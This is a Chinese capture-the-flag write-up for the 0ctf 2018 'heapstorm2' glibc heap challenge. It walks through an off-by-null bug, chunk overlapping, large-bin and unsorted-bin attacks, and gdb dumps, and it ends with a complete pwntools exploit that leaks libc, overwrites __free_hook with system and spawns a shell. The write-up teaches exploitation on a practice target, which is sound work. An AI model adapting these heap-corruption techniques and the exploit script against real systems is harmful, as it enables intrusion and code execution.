

分配chunk

编辑函数
这里strcpy off-by-null,读满会把 '\x00' 复制过去 off-by-null

删除 没有UAF

打印信息
它会对存储在0x13370810的数据进行异或,0x13370818先继续显示结果是否0x13377331。但问题是这两个值被初始化成了相同的随机值。除非能打破二进制中的这个检查,否则我们无法轻易读取目标的值。
因此,该挑战的主要目标是覆盖0x13370810和0x13370818处的值。
//code 1
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
//code 2
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
这两段代码都嵌入在从未排序的bin中获取可用分块的过程中。
代码1负责将检索到的分块返回应用程序,前提是分块大小等于请求的大小。
代码2负责插入检索到的块信息对应的大bin。它与未排序分包攻击非常相似,后者会用不可控地址覆盖目标地址。
这个漏洞的全部目的就是通过创建重叠的区块,在0x133707c0创建一个带有代码2的假区块。
然后用重叠的块破坏未排序箱中一个块的 bk,0x133707c0并尝试分配一个大小为 0x48 的块,从而获得分配到0x133707d0的块。
由于大小限制,无法破坏存储指针和大小的数据区,我们重复上述步骤,获得分配的块0x133707d8。
然后我们可以覆盖任何地方的任何东西
一开始的错误写法
写出自动化脚本
在这里插入代码片from pwn import *
p = process('./0ctf_2018_heapstorm2')
elf = ELF('./0ctf_2018_heapstorm2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'Command: ',b'1')
p.sendlineafter(b'Size: ',str(size).encode())
def edit(index, content):
p.sendlineafter(b'Command: ',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(len(content)).encode())
p.sendafter(b'Content: ',content)
def delete(index):
p.sendlineafter(b'Command: ',b'3')
p.sendlineafter(b'Index: ',str(index).encode())
def view(index):
p.sendlineafter(b'Command: ',b'4')
p.sendlineafter(b'Index: ',str(index).encode())
先分配chunk
add(0x400) #0 # size=0x411 (small/large边界)
add(0x20) #1 # size=0x31
add(0x400) #2 # size=0x411
add(0x28) #3 # size=0x31 (有off-by-null漏洞)
add(0xfe0) #4 # size=0xff1 (large chunk)
add(0x40) #5 # size=0x51 (防止合并)
因为我们edit的时候有off-by-null漏洞,会影响到下一个chunk的size,我们可以先从chunk4里面伪造chunk,使得伪造的chunk的下一个chunk的prev_size是我们的伪造的chunk,但是因为edit会自动追加0x10字节的HEAPSTORM_II,所以我们可以再伪造一个chunk来存放这个值。
所以我们第一步应该是
在chunk4内部布置伪造的metadata,伪造一个size=0xf00的chunk,一个0x21的chunk,为了后续off-by-null修改size后,堆管理器检查时能看到合法的metadata
edit(4,b'a'*0xef0 + p64(0xf00) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21))

然后delete(4),释放到unsortedbin


0x00005555557588c0 topchunk
0x0000555555757880 unsortedbin
然后利用off-by-null,将null终止符溢出到chunk4的size字段
edit(3, b'a'*(0x28-12));
溢出前:

溢出后:

这时候我们就伪造出来了一个0xf00的chunk和prev_size为0xf00的0x21的chunk
add(0x140) #1 这个大小这个范围内应该都可以
再进行largebin攻击
分配2个0x410chunk
add(0x20) #6 分隔
add(0x400)#7
add(0x20) #8 分隔
add(0x400)#9
add(0x20) #10 分隔
free掉
delete(4)
delete(7)
delete(9)

0x555555757e40 #chunk9
0x555555757a00 #chunk7
0x555555757880 #chunk4_new
0x555555758280 #合并的chunk
0x7ffff7dd1b78 (main_arena+88)
delete(5)
清理内存,使其成为allocate(0x500)的最佳选择,准备进行largebinattack


unsorted_bin -> 0x411 -> 0x411 -> 0x501
chunk4_new被扩容了,现在是一个巨大的free chunk
现在为largebin攻击申请回chunk5
add(0x420) #4
add(0x500) #5
Large Bin Attack阶段
第一步:修改large bin chunk的metadata
edit(5,b'b'*0x170 + p64(0) + p64(0x401) + p64(0x133707b3)*4)
通过chunk5写入:
┌─────────────────────────────────────────────────────────────┐
│ chunk5内存内容(update 0x1a0字节): │
├─────────────────────────────────────────────────────────────┤
│ "b"*0x170 │
│ prev_size: 0x0 │
│ size: 0x401 │
│ fd: 0x133707b3 ← 指向目标地址 │
│ bk: 0x133707b3 │
│ fd_nextsize: 0x133707b3 │
│ bk_nextsize: 0x133707b3 ← 关键!large bin attack目标 │
└─────────────────────────────────────────────────────────────┘


第二步:触发第一次large bin attack
delete(0)
add(0x30) #0
┌─────────────────────────────────────────────────────────────┐
│ 操作流程: │
├─────────────────────────────────────────────────────────────┤
│ 1. delete(0): chunk0释放到unsorted bin │
│ ┌────────────┐ ┌────────────┐ ┌────────────┐ │
│ │ unsorted │────▶│ chunk0 │────▶│ chunk7 │ ... │
│ │ bin链表 │ │ size=0x411 │ │ size=0x411 │ │
│ └────────────┘ └────────────┘ └────────────┘ │
│ │
│ 2. allocate(0x30): 触发整理 │
│ - chunk0从unsorted bin取出 │
│ - 放入large bin(大小0x411) │
│ - 执行large bin插入操作 │
│ │
│ 3. large bin attack发生: │
│ victim->bk_nextsize->fd_nextsize = victim │
│ ↓ │
│ 向 0x133707b3 + 0x20 写入 chunk0的地址! │
└─────────────────────────────────────────────────────────────┘


第二次large bin attack
edit(5,b'a'*0x170 + p64(0) + p64(0x401) + p64(0x133707c8)*4)
delete(2)
add(0x30) #2


清理unsorted bin,为后续攻击准备干净环境
add(0x40)

现在准备使用伪造unsorted bin chunk攻击
第一步:在chunk5中构造fake chunk
edit(5,b'c'*0x140 + p64(0) + p64(0x101) + b'd'*0xf0 + p64(0) + p64(0x21) + p64(0) *3 + p64(0x21))
┌─────────────────────────────────────────────────────────────┐
│ chunk5内存(update 0x270字节): │
├─────────────────────────────────────────────────────────────┤
│ "c"*0x140 │
│ fake_chunk1: │
│ prev_size: 0x0 │
│ size: 0x101 ← 准备放入unsorted bin的大小 │
│ 用户数据: "d"*0xf0 │
│ │
│ fake_chunk2: │
│ prev_size: 0x0 │
│ size: 0x21 │
│ fd: 0x0 │
│ bk: 0x0 │
│ ...其他字段 │
└─────────────────────────────────────────────────────────────┘


第二步:触发unsorted bin attack
delete(6)
edit(5,b'e'*0x140 + p64(0) + p64(0x101) + p64(0x133707b3)*2)
add(0x40)
1. delete(6): 释放chunk6到unsorted bin
┌────────────┐
│ unsorted │──┐
│ bin链表 │ │
└────────────┘ │
▼
┌────────────┐
│ chunk6 │
│ size=0x31 │
└────────────┘
2. update(5, 0x160): 修改fake chunk的bk指针
fake_chunk1.bk = 0x133707c0 ← 关键!指向目标地址
3. allocate(0x40): 触发分配
glibc遍历unsorted bin:
最后一个chunk → 倒数第二个chunk → ... → chunk6
当到达"最后一个chunk"时,发现它的bk指向0x133707c0
于是认为0x133707c0是一个chunk,从那里分配!
4. 结果:在0x133707d0分配了chunk6!
但是这个时候

检查到之前的布局出现了问题
gdb-peda$ x/30gx 0x555555757880 + 0x140
0x5555557579c0: 0x6363636363636363 0x6363636363636363
0x5555557579d0: 0x0000000000000000 0x0000000000000101
0x5555557579e0: 0x6464646464646464 0x6464646464646464
0x5555557579f0: 0x6464646464646464 0x6464646464646464
gdb-peda$ x/30gx 0x555555757880 + 0x140 + 0xf0
0x555555757ab0: 0x6464646464646464 0x6464646464646464
0x555555757ac0: 0x6464646464646464 0x6464646464646464
0x555555757ad0: 0x0000000000000000 0x0000000000000021
0x555555757ae0: 0x0000000000000000 0x0000000000000000
0x555555757af0: 0x0000000000000000 0x0000000000000021
0x555555757b00: 0x524f545350414548 0x0000000049495f4d
0x555555757b10: 0x0000000000000000 0x0000000000000000
0x555555757b20: 0x0000000000000000 0x0000000000000000
0x5555557579d0: 0x0000000000000000 prev_size=0
0x5555557579d8: 0x0000000000000101 size=0x101 ✓
0x5555557579e0: 0x6464646464646464 fd指针 = 'dddddddd' ❌
0x5555557579e8: 0x6464646464646464 bk指针 = 'dddddddd' ❌
正确的payload结构
偏移0x000-0x13F: 'c'*0x140 (填充)
偏移0x140: prev_size=0
偏移0x148: size=0x101
偏移0x150: fd=0x133707c0 ← 这里!
偏移0x158: bk=0x133707c0 ← 这里!
偏移0x160开始: 其他数据...
# 正确的构造
payload = (
b'c'*0x140 + # 填充到fake chunk开始
p64(0) + p64(0x101) + # fake chunk header
p64(0x133707c0) + p64(0x133707c0) + # fd和bk指针!
b'd'*(0xf0 - 0x10) + # 用户数据(减去fd/bk的16字节)
p64(0) + p64(0x21) + # 下一个fake chunk header
p64(0)*3 + p64(0x21) # 其他字段
)
# 确保总长度正确
edit(5, payload)
gdb-peda$ x/30gx 0x555555757880 + 0x140
0x5555557579c0: 0x6363636363636363 0x6363636363636363
0x5555557579d0: 0x0000000000000000 0x0000000000000101
0x5555557579e0: 0x00000000133707c0 0x00000000133707c0
0x5555557579f0: 0x6464646464646464 0x6464646464646464
0x555555757a00: 0x6464646464646464 0x6464646464646464
0x555555757a10: 0x6464646464646464 0x6464646464646464
0x555555757a20: 0x6464646464646464 0x6464646464646464
0x555555757a30: 0x6464646464646464 0x6464646464646464
0x555555757a40: 0x6464646464646464 0x6464646464646464
0x555555757a50: 0x6464646464646464 0x6464646464646464
0x555555757a60: 0x6464646464646464 0x6464646464646464
0x555555757a70: 0x6464646464646464 0x6464646464646464
0x555555757a80: 0x6464646464646464 0x6464646464646464
0x555555757a90: 0x6464646464646464 0x6464646464646464
0x555555757aa0: 0x6464646464646464 0x6464646464646464
gdb-peda$ x/30gx 0x555555757880 + 0x140 + 0xf0 -0x10
0x555555757aa0: 0x6464646464646464 0x6464646464646464
0x555555757ab0: 0x6464646464646464 0x6464646464646464
0x555555757ac0: 0x6464646464646464 0x6464646464646464
0x555555757ad0: 0x0000000000000000 0x0000000000000021
0x555555757ae0: 0x0000000000000000 0x0000000000000000
0x555555757af0: 0x0000000000000000 0x0000000000000021
0x555555757b00: 0x524f545350414548 0x0000000049495f4d
但是依然有问题,所以要换方法
远程成功版本
结合 largebin攻击 off-by-null chunk-extend unsortedbin攻击

首先进行堆布局,为over-lapping做准备
add(0x18) #0
add(0x508) #1 # large chunk
add(0x18) #2
add(0x18) #3
add(0x508) #4 # large chunk
add(0x18) #5
add(0x18) #6

分配成功
现在修改largebin的metadata,为overlapping做准备
edit(1,b'a'*0x4f0 + p64(0x500))
edit(4,b'b'*0x4f0 + p64(0x500))


现在借助strcpy会将null溢出到下一个字节来修改511->500
delete(1) #1
edit(0,b'a'*(0x18-12))
使chunk7与原始的chunk1区域重叠。

进一步控制over-lapping区域
删除和重新分配操作:
1. delete(1), delete(2) - 释放两个chunk
2. alloc(0x38) #1, overlap to chunk 7
3. alloc(0x4e8) #2 - 更大的chunk
这使得chunk1可以控制更多的内存区域

这时候你可能发现之前分配的chunk7没有了
这个chunk7是在
delete(2)
的时候没有的

然后同样的步骤对另一个largechunk进行操作
delete(4) #4
edit(3,b'b'*(0x18-12))
add(0x18) #4
add(0x4d8) #8
delete(4)
delete(5)
add(0x48) #4
add(0x4e8) #6
至此over-lappling阶段结束

base = 0x13370000
read(..., 0x13370800, 0x18) 的目标地址是 0x13370800
0x13370800 - 0x13370000 = 0x800
程序把全局管理结构/表放在 mmap 的那页里偏移 0x800 的位置,并且后续一直用绝对地址 0x13370800 操作它。
结合 sub_BB0/sub_BCC:
sub_BB0(ptr, x) = *(ptr+0) XOR x
sub_BCC(ptr, x) = *(ptr+8) XOR x
所以当 x=0 时:
sub_BB0(heaparray,0) = key0(heaparray[0])
sub_BCC(heaparray,0) = key1(heaparray[1])
这意味着:每个条目初始都存了某个 key 值,表示“未使用”。
View(sub_11B5)——权限检查(你的绕过目标)
if ((heaparray[0x10] XOR heaparray[0x18]) != 0x13377331) deny;
也就是:
- 需要让 heaparray+0x10 和 heaparray+0x18 的 xor 等于 0x13377331 才能 view。
exp 最终会把 heaparray 里的关键字段改成: - heaparray[0x10] = 0x13377331
- heaparray[0x18] = 0 或类似组合(总之 xor 结果等于 0x13377331),来获得 View 权限。
伪造 chunk + 控制 heaparray
heaparray = 0x13370000 + 0x800
fake_chunk = heaparray - 0x20
delete(2)
为后面利用glibc堆管理器合法我们的伪chunk做准备
payload1 = b'g' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7,payload1)



0x13370800: 0x272d6abe1dc9772b 0xe9552fddd1062d58 <-- key0, key1(随机)
0x13370810: 0xb748208927a175e6 0xb748208927a175e6 <-- 0x10 和 0x18 复制相等(初始)
0x13370820: entry0.enc_ptr entry0.enc_size
0x13370830: entry1.enc_ptr entry1.enc_size
- 0x13370810 与 0x13370818 相等,是因为初始化做了:
MEMORY[0x13370818] = MEMORY[0x13370810]
后面利用阶段会把这里改成满足: - (0x13370810 XOR 0x13370818) == 0x13377331
payload2 = b'f' * 0x10 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk -0x18 -5)
edit(8,payload2)
fake_chunk + 8 = 0x133707e8

这是 heaparray - 0x18
如果 glibc 走到写 bck->fd = victim(写 fd 字段,偏移 0x10),那么写入地址为:
- bck + 0x10 = (heaparray - 0x18) + 0x10 = heaparray - 0x8
也就是会改写: - *(0x13370800 - 0x8) = victim
- 0x133707f8 正好在你看到的“全 0 区域”
fake_chunk - 0x18 - 5 = 0x133707c3
如果 glibc 将来执行写 X->bk = victim(偏移 0x18),写入地址是: - X + 0x18
如果你让 X = (你想写入的真实目标地址) - 0x18,就能让写入落到目标。
你这里是: - X = fake_chunk - 0x18 - 5
- 那么 X + 0x18 = fake_chunk - 5
也就是说:如果命中 X->bk = victim 这种写,那么写入会落到: - fake_chunk - 5 = 0x133707db
注意这是一个非 8 字节对齐的地址(因为 -5)
因为在 largebin attack 里,你控制的不是“写什么”(写的是 victim 指针),你控制的是“写到哪里”。
这两个地址是为了让 glibc 的链表维护语句把指针写到heaparray 附近你能利用的位置;那片内存现在是 0,恰恰说明它是干净的“承接写入区”,不会被旧值干扰,也不容易立即崩。
选这些地址的目的,是为了让 largebin 插入/维护链表时产生的“指针写”落到 heaparray 头部附近,从而改掉校验相关的那两个 qword(你叫 key1/key2 的那对,实际是 0x13370810 和 0x13370818),最终通过 view 的验证
add(0x48) #2
准备一个“可控数据块”当作后续伪结构容器
payload3= p64(0)*5 + p64(0x13377331) + p64(heaparray)
edit(2,payload3)
把“权限 + 指针锚点”写进 chunk2
payload4 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
payload4 += p64(0x1000) + p64(heaparray - 0x20 + 3) + p64(8)
edit(0, payload4)
序号 值 十六进制 直观含义(利用语义)
Q0 0 0x0 填充/占位(保持某些字段为 0,避免破坏)
Q1 0 0x0 填充/占位
Q2 0 0x0 填充/占位
Q3 0x13377331 0x13377331 View 权限校验关键常量
Q4 heaparray 0x13370800 把 heaparray 作为“基址/锚点”放进结构
Q5 0x1000 0x1000 长度/上界(常用来伪造 size/limit)
Q6 heaparray-0x20+3 0x133707e3 你要读的目标地址(带 +3 的错位)
Q7 8 0x8 要读出的字节数(8 字节)
0x1000 正好是 mmap 那页的大小
所以它常被用作:
-
“你这个缓冲区长度/最大范围”
-
“允许你读写整个 heaparray 页面(从 0x13370000 到 0x13371000)的上界”
-
heaparray = 0x13370800
-
heaparray - 0x20 = 0x133707e0(定义的 fake_chunk)
-
+3 => 0x133707e3
view(1)
p.recvuntil(b']: ')
chunk = u64(p.recv(8))
log.success('chunk -> {}'.format(hex(chunk)))
这样就可以泄露出heap指针chunk
同样的方法来把任意读地址改成 chunk+0x10,泄漏 libc
view(1)
p.recvuntil(b']: ')
libc_base = u64(p.recv(8)) - 0x68 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success('libc_base -> {}'.format(hex(libc_base)))
最后把“任意写”落到 __free_hook,并在内存里放 /bin/sh
payload = p64(0) * 4 + p64(heaparray) + p64(0x1000) + p64(free_hook) + p64(8 + 12)
payload += p64(heaparray + 0x48) + b'/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)
p.interactive()
delete 会取出 entry[2] 的 ptr_real 作为参数调用 free(ptr)。
如果你把 __free_hook 改成 system,那么 free(ptr) 实际会变成:
- system(ptr)
所以 ptr 必须指向一个 C 字符串:"/bin/sh\x00"。
delete(2) 逻辑是:
- ptr = decrypt(entry[2].enc_ptr)
- free(ptr)
- entry[2] 清空回 key(enc_ptr=key0, enc_size=key1)
因为已经:
- __free_hook = system
所以这里变成: - system(ptr)
在前面安排 ptr == heaparray+0x48,且那里是 "/bin/sh\x00"。
于是拿 shell。
!!!!一定要用libc-2.23.buu.so!!!!

from pwn import *
p = process('./0ctf_2018_heapstorm2')
#p = remote('node5.buuoj.cn',25543)
elf = ELF('./0ctf_2018_heapstorm2')
#libc = ELF('libc-2.23.buu.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'Command: ',b'1')
p.sendlineafter(b'Size: ',str(size).encode())
def edit(index, content):
p.sendlineafter(b'Command: ',b'2')
p.sendlineafter(b'Index: ',str(index).encode())
p.sendlineafter(b'Size: ',str(len(content)).encode())
p.sendlineafter(b'Content: ',content)
def delete(index):
p.sendlineafter(b'Command: ',b'3')
p.sendlineafter(b'Index: ',str(index).encode())
def view(index):
p.sendlineafter(b'Command: ',b'4')
p.sendlineafter(b'Index: ',str(index).encode())
add(0x18) #0
add(0x508) #1
add(0x18) #2
add(0x18) #3
add(0x508) #4
add(0x18) #5
add(0x18) #6
edit(1,b'a'*0x4f0 + p64(0x500))
edit(4,b'b'*0x4f0 + p64(0x500))
delete(1) #1
edit(0,b'a'*(0x18-12))
add(0x18) #1
add(0x4d8) #7
#debug()
delete(1)
#debug()
delete(2)
#debug()
add(0x38) #1
add(0x4e8) #2
delete(4) #4
edit(3,b'b'*(0x18-12))
add(0x18) #4
add(0x4d8) #8
delete(4)
delete(5)
add(0x48) #4
delete(2)
add(0x4e8) #6
delete(2)
#add(0x600)
#debug()
heaparray = 0x13370000 + 0x800
fake_chunk = heaparray - 0x20
payload1 = b'g' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7,payload1)
#debug()
payload2 = b'f' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8)
payload2 += p64(0) + p64(fake_chunk -0x18 -5)
edit(8,payload2)
#debug()
add(0x48)#2
payload3 = p64(0)*5 + p64(0x13377331) + p64(heaparray)
#debug()
edit(2,payload3)
#debug()
payload4 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
payload4 += p64(0x1000) + p64(heaparray - 0x20 + 3) + p64(8)
edit(0, payload4)
view(1)
p.recvuntil(b']: ')
chunk = u64(p.recv(8))
log.success('chunk -> {}'.format(hex(chunk)))
chunk_fd = chunk + 0x10
payload5 = p64(0)*3 + p64(0x13377331) + p64(heaparray)
payload5 += p64(0x1000) + p64(chunk_fd) + p64(8)
edit(0,payload5)
view(1)
p.recvuntil(b']: ')
libc_base = u64(p.recv(8)) - 0x68 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success('libc_base -> {}'.format(hex(libc_base)))
payload = p64(0) * 4 + p64(heaparray) + p64(0x1000) + p64(free_hook) + p64(8 + 12)
payload += p64(heaparray + 0x48) + b'/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)
p.interactive()
浙公网安备 33010602011771号